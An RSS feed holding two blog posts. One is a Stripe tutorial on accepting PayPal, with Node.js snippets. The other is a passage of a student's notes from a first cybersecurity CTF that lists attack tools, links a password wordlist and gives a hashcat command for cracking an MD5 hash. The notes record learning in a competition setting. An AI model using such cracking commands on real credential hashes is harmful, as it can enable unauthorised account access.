<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Charlie Gerard</title>
    <description>The latest articles on DEV Community by Charlie Gerard (@devdevcharlie).</description>
    <link>https://dev.to/devdevcharlie</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F22924%2Fd8b205e7-f66a-4d59-b960-ba4c838db516.png</url>
      <title>DEV Community: Charlie Gerard</title>
      <link>https://dev.to/devdevcharlie</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/devdevcharlie"/>
    <language>en</language>
    <item>
      <title>Accept PayPal as a payment method with Stripe in the EU, UK and Switzerland</title>
      <dc:creator>Charlie Gerard</dc:creator>
      <pubDate>Tue, 18 Jul 2023 14:42:35 +0000</pubDate>
      <link>https://dev.to/4thzoa/accept-paypal-as-a-payment-method-with-stripe-in-the-eu-uk-and-switzerland-403l</link>
      <guid>https://dev.to/4thzoa/accept-paypal-as-a-payment-method-with-stripe-in-the-eu-uk-and-switzerland-403l</guid>
      <description>&lt;p&gt;We recently made &lt;a href="https://www.paypal.com" rel="noopener noreferrer"&gt;PayPal&lt;/a&gt; available as a payment method in the EU, UK, and Switzerland, so you can now offer an additional way for your customers to submit payments using their PayPal account.&lt;br&gt;
If you have a &lt;a href="https://stripe.com/connect" rel="noopener noreferrer"&gt;Connect account&lt;/a&gt;, first reach out to the &lt;a href="https://support.stripe.com/topics/connect" rel="noopener noreferrer"&gt;support team&lt;/a&gt; to see if you’re eligible. If you’re a direct merchant, meaning you accept payments directly from consumers, let’s go through the steps to enable it.&lt;/p&gt;
&lt;h2&gt;
  
  
  Requirements
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;This feature is only available for Stripe accounts set in the European Economic Area (with the exception of Hungary), the UK, and Switzerland&lt;/strong&gt;. If your Stripe account is registered in another country, you will unfortunately not be able to activate PayPal at this time.&lt;br&gt;
You’re also required to have a &lt;strong&gt;PayPal business account in the EEA, Switzerland or UK&lt;/strong&gt;. You can create one during the onboarding process.&lt;/p&gt;
&lt;h2&gt;
  
  
  Enabling PayPal
&lt;/h2&gt;

&lt;p&gt;To enable the PayPal feature in the &lt;a href="https://dashboard.stripe.com/" rel="noopener noreferrer"&gt;Stripe Dashboard&lt;/a&gt;, navigate to the &lt;a href="https://dashboard.stripe.com/settings/payment_methods" rel="noopener noreferrer"&gt;Payments settings page&lt;/a&gt;. If you’re eligible, you should see “PayPal” as an option under the “Wallets” section.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmqphkv4ujcwyyl038udz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmqphkv4ujcwyyl038udz.png" alt="Wallets section in the Stripe dashboard showing PayPal as a payment method available" width="800" height="366"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Click the “Turn on” button to start the onboarding process.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv8nmi1fyfdwdyvhphagk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv8nmi1fyfdwdyvhphagk.png" alt="Pop-up to activate PayPal as a payment method. Estimated time to complete between 2-5 minutes" width="800" height="438"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Confirm that your account meets all the requirements and click “Continue”.&lt;/p&gt;

&lt;p&gt;Then, select where you’d like to keep your PayPal funds and click the “Connect to PayPal” button to connect and activate your accounts.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2umd17n8vjyl7f32r6mm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2umd17n8vjyl7f32r6mm.png" alt="Pop-up to choose how to settle your funds. Either add your PayPal funds to your Stripe balance or keep PayPal funds in PayPal balance." width="717" height="807"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Alternatively you can choose to settle your funds into your PayPal account instead:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0ytp8rjv5q8ulffl4cs4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0ytp8rjv5q8ulffl4cs4.png" alt="Pop-up to choose how to settle your funds. Either add your PayPal funds to your Stripe balance or keep PayPal funds in PayPal balance." width="717" height="807"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When you are redirected to PayPal, you can either log into an existing account or create a new one as part of the process. As mentioned in the previous section, &lt;strong&gt;your PayPal account needs to be a business account in the EEA, Switzerland or the UK&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Once this step is done, if you logged into an existing account, you should see a green checkmark on the right of the payment method to indicate that your PayPal account has been successfully connected to Stripe. &lt;/p&gt;

&lt;p&gt;From there, you can enable or disable recurring payments as well as contact support if you need to change how your funds are settled.&lt;/p&gt;

&lt;p&gt;If you created a new account as part of the onboarding flow, it will first be pending approval until you verify your email.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5p7ovtx075r5q9bsy7p8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5p7ovtx075r5q9bsy7p8.png" alt="Screenshot showing the PayPal payment method option expanded to show the " width="800" height="165"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can turn this payment method off at any time by opening the details dropdown and clicking the “Turn off” button in the Stripe Dashboard.&lt;/p&gt;

&lt;p&gt;If you’re mostly using Stripe’s no-code products such as &lt;a href="https://stripe.com/payments/payment-links" rel="noopener noreferrer"&gt;Payment Links&lt;/a&gt;, this is all you need to do. PayPal will now be a payment option for all your customers.&lt;/p&gt;
&lt;h2&gt;
  
  
  Integrating PayPal
&lt;/h2&gt;
&lt;h3&gt;
  
  
  No-code solution
&lt;/h3&gt;

&lt;p&gt;Once you’ve enabled PayPal on your account, you can test that the feature is working by navigating to your &lt;a href="https://dashboard.stripe.com/products" rel="noopener noreferrer"&gt;products page&lt;/a&gt;, selecting a product you created a Payment Link for, click on the “View payment link” button under the Pricing section, copy the link, and open it in your browser. You should see PayPal displayed as a payment method.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjxyp2brx7l0oaa4pamao.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjxyp2brx7l0oaa4pamao.png" alt="Screenshot of Stripe Checkout page with the PayPal payment method" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Your customer will then be guided through PayPal’s UI to confirm the payment.&lt;/p&gt;
&lt;h3&gt;
  
  
  Checkout integration
&lt;/h3&gt;

&lt;p&gt;Integrating PayPal as a payment method using the Stripe API requires minimal changes to your code.&lt;/p&gt;

&lt;p&gt;First, if you’re using Checkout, locate where you are creating a Checkout session in your codebase. If you are already specifying different payment methods using the &lt;code&gt;payment_method_types&lt;/code&gt; attribute, all you need to do is add &lt;code&gt;paypal&lt;/code&gt; to your array.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;session&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;checkout&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sessions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;payment&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;payment_method_types&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;card&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;paypal&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="na"&gt;line_items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;price&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PRICE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;quantity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="na"&gt;success_url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;domainURL&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/success.html?session_id={CHECKOUT_SESSION_ID}`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;cancel_url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;domainURL&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/canceled.html`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By default, if you don’t specify any payment method types, it will display all payment methods enabled, including PayPal.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;session&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;checkout&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sessions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;payment&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;line_items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;price&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PRICE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;quantity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="na"&gt;success_url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;domainURL&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/success.html?session_id={CHECKOUT_SESSION_ID}`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;cancel_url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;domainURL&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/canceled.html`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Payment Element and Express Checkout Element integration
&lt;/h3&gt;

&lt;p&gt;If you’re using &lt;a href="https://stripe.com/docs/payments/payment-element" rel="noopener noreferrer"&gt;Payment Element&lt;/a&gt; or &lt;a href="https://stripe.com/docs/elements/express-checkout-element" rel="noopener noreferrer"&gt;Express Checkout Element&lt;/a&gt;, locate where you are creating the &lt;code&gt;PaymentIntent&lt;/code&gt;. If you have the attribute &lt;code&gt;automatic_payment_methods&lt;/code&gt; set to enabled, PayPal will show up as an option automatically. Otherwise, if you’re using the &lt;code&gt;payment_method_types&lt;/code&gt; attribute to customize the options, you’ll only need to add &lt;code&gt;paypal&lt;/code&gt; to the array and you’ll be good to go.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;paymentIntent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;paymentIntents&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1999&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;currency&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;currency&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;payment_method_types&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;card&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;paypal&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa24goe9m7g3i6j44g3vv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa24goe9m7g3i6j44g3vv.png" alt="Example with Express Checkout Element" width="800" height="838"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;These code samples shown above are using Node.js, but the change is very similar in other programming languages. If you want to read more, please &lt;a href="https://stripe.com/docs/payments/paypal/accept-a-payment?platform=web&amp;amp;ui=checkout#enable-paypal-as-a-payment-method" rel="noopener noreferrer"&gt;check the docs&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fucy7p5qmld3bq15inwt4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fucy7p5qmld3bq15inwt4.png" alt="Screenshot of the docs showing different programming languages." width="800" height="549"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Issuing refunds
&lt;/h2&gt;

&lt;p&gt;If you need to issue a refund to a customer who paid using PayPal, navigate to the &lt;a href="https://dashboard.stripe.com/payments" rel="noopener noreferrer"&gt;payments page&lt;/a&gt; in the Stripe Dashboard, select the payment you’d like to issue the refund for, click on the refund button, and confirm the refund in the pop-up displayed.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5sqsggoiggrmu8l4jtus.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5sqsggoiggrmu8l4jtus.png" alt="Screenshot of the Stripe dashboard showing the refund link." width="800" height="151"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;If you have a Stripe account registered in the EU, UK, or Switzerland, you can now enable PayPal as a payment method with Stripe with a few clicks and some minor code changes. This feature will allow you to reach more potential customers and provide them with a better checkout experience. If you’re interested in learning more, check out &lt;a href="https://stripe.com/docs/payments/paypal" rel="noopener noreferrer"&gt;our docs&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  About the author
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl83n2g64kwljoodl0glt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl83n2g64kwljoodl0glt.png" alt="Charlie is a caucasian woman with long brown hair and wearing glasses. She is standing in front of a plain white wall with purple lights." width="200" height="200"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://twitter.com/@devdevcharlie" rel="noopener noreferrer"&gt;Charlie Gerard&lt;/a&gt; is a developer advocate at Stripe, a &lt;a href="https://www.amazon.com/Practical-Machine-Learning-JavaScript-TensorFlow-js/dp/1484264177" rel="noopener noreferrer"&gt;published author&lt;/a&gt; and a &lt;a href="https://charliegerard.dev/" rel="noopener noreferrer"&gt;creative technologist&lt;/a&gt;. She loves researching and &lt;a href="https://charliegerard.dev/" rel="noopener noreferrer"&gt;experimenting with technologies&lt;/a&gt;. When she’s not coding, she enjoys spending time outdoors, reading, and setting random challenges for herself.&lt;/p&gt;

</description>
      <category>stripe</category>
      <category>paypal</category>
    </item>
    <item>
      <title>Notes from competing in my first CTF</title>
      <dc:creator>Charlie Gerard</dc:creator>
      <pubDate>Tue, 04 Apr 2023 15:54:51 +0000</pubDate>
      <link>https://dev.to/devdevcharlie/notes-from-competing-in-my-first-ctf-5gf0</link>
      <guid>https://dev.to/devdevcharlie/notes-from-competing-in-my-first-ctf-5gf0</guid>
      <description>&lt;p&gt;Last weekend, I competed in the &lt;a href="https://nationalcyberleague.org/" rel="noopener noreferrer"&gt;National Cyber League&lt;/a&gt; (NCL), my first cybersecurity CTF open to students in the US. I only started my Bachelor's degree in cybersecurity a month ago but I wanted to give it a try anyway. I had a great time, learnt a lot and wanted to share some of my notes. Unfortunately, I'm not allowed to go into too much detail about the challenges and solutions but I still wanted to share some tools I used.&lt;/p&gt;

&lt;p&gt;This CTF is broken down into 9 categories, each with multiple challenges to go through, rated from easy to hard. To avoid having people brute force the answers until they get the correct one, each time you submit an incorrect answer, your accuracy score decreases so you have to choose what you submit wisely.  &lt;/p&gt;

&lt;p&gt;In the end, here's my score report below. I ranked in the top 6% nationally 🎉 so I'm excited to see how I do next time with more experience!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F08dtyx4jc8muloknfr8i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F08dtyx4jc8muloknfr8i.png" alt="1610/3000 points with an accuracy score of 76.9% and a 69% rate of completion."&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The categories include: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Open source intelligence (OSINT)&lt;/li&gt;
&lt;li&gt;Cryptography&lt;/li&gt;
&lt;li&gt;Password Cracking&lt;/li&gt;
&lt;li&gt;Log analysis&lt;/li&gt;
&lt;li&gt;Network Traffic Analysis&lt;/li&gt;
&lt;li&gt;Forensics&lt;/li&gt;
&lt;li&gt;Scanning &amp;amp; Reconnaissance&lt;/li&gt;
&lt;li&gt;Enumeration &amp;amp; Exploitation&lt;/li&gt;
&lt;li&gt;Web application exploitation&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  &lt;a&gt;Open-Source Intelligence (OSINT)&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;This section is usually related to being able to understand or find data without much context, or using notations you might not know, with very little information. For example, deciphering messages or being given a number that looks totally random and figuring out what it refers to.&lt;/p&gt;

&lt;p&gt;Here are some of the tools I used:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://opennav.com/search" rel="noopener noreferrer"&gt;https://opennav.com/search&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://emvlab.org/mrz/" rel="noopener noreferrer"&gt;https://emvlab.org/mrz/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.dcode.fr/chiffres-symboles" rel="noopener noreferrer"&gt;https://www.dcode.fr/chiffres-symboles&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;Google image search&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ipinfo.io/" rel="noopener noreferrer"&gt;https://ipinfo.io/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.smartconversion.com/unit_conversion/IP_Address_Converter.aspx" rel="noopener noreferrer"&gt;https://www.smartconversion.com/unit_conversion/IP_Address_Converter.aspx&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  &lt;a&gt;Cryptography&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;This section focuses on encrypting and decrpyting messages or files. You are often not told how they are encrypted so you have to figure out first which encryption method to use to decrypt them.&lt;/p&gt;

&lt;p&gt;For this section, I mostly used &lt;a href="https://gchq.github.io/CyberChef/" rel="noopener noreferrer"&gt;CyberChef&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For example, you could get asked to decrypt the message &lt;code&gt;aGVsbG8gd29ybGQ=&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Using CyberChef, you can try to decrypt it using different methods. If you've decrypted messages before, you might recognize that it is encrypted using Base64, so it decrypts to &lt;code&gt;hello world&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Some challenges also relate to finding information in files of different formats.&lt;/p&gt;

&lt;p&gt;For challenges including files, I used commands such as &lt;code&gt;file&lt;/code&gt; and also tools like PGP with &lt;code&gt;gnupg&lt;/code&gt; or OpenSSL (&lt;code&gt;openssl&lt;/code&gt;).&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;a&gt;Password cracking&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;This section is pretty self-explanatory, you're given a bunch or encrypted passwords and have to figure out how to decrypt them.&lt;/p&gt;

&lt;p&gt;For this, I downloaded wordlists such as the &lt;a href="https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt" rel="noopener noreferrer"&gt;rockyou wordlist&lt;/a&gt; and used tools such as &lt;a href="https://hashcat.net/hashcat/" rel="noopener noreferrer"&gt;Hashcat&lt;/a&gt; and &lt;a href="https://www.openwall.com/john/" rel="noopener noreferrer"&gt;John the ripper&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For example, if you wanted to decode the password &lt;code&gt;5f4dcc3b5aa765d61d8327deb882cf99&lt;/code&gt;, you would run the following hashcat command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;hashcat -m 0 -a 0 5f4dcc3b5aa765d61d8327deb882cf99 &amp;lt;path to your wordlist&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  &lt;a&gt;Web Application Exploitation&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;In this section, you have to find ways to attack vulnerable websites.&lt;/p&gt;

&lt;p&gt;I mainly used the browser's developer tools, wrote some custom code and tried &lt;a href="https://portswigger.net/burp" rel="noopener noreferrer"&gt;Burpsuite&lt;/a&gt; to intercept and modify requests.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;a&gt;Enumeration and exploitation&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;This section usually involves programs written in different programming languages. To solve the challenges, you might have to figure out how to run them to find the flag or answer some questions that will test your understanding of the code written.&lt;/p&gt;

&lt;p&gt;The tools used for this section vary a lot depending on the code samples you get. You might get something in Python, JavaScript, Go, PowerShell, Assembly, etc so you have to be comfortable figuring things out.&lt;/p&gt;

&lt;h2&gt;
  
  
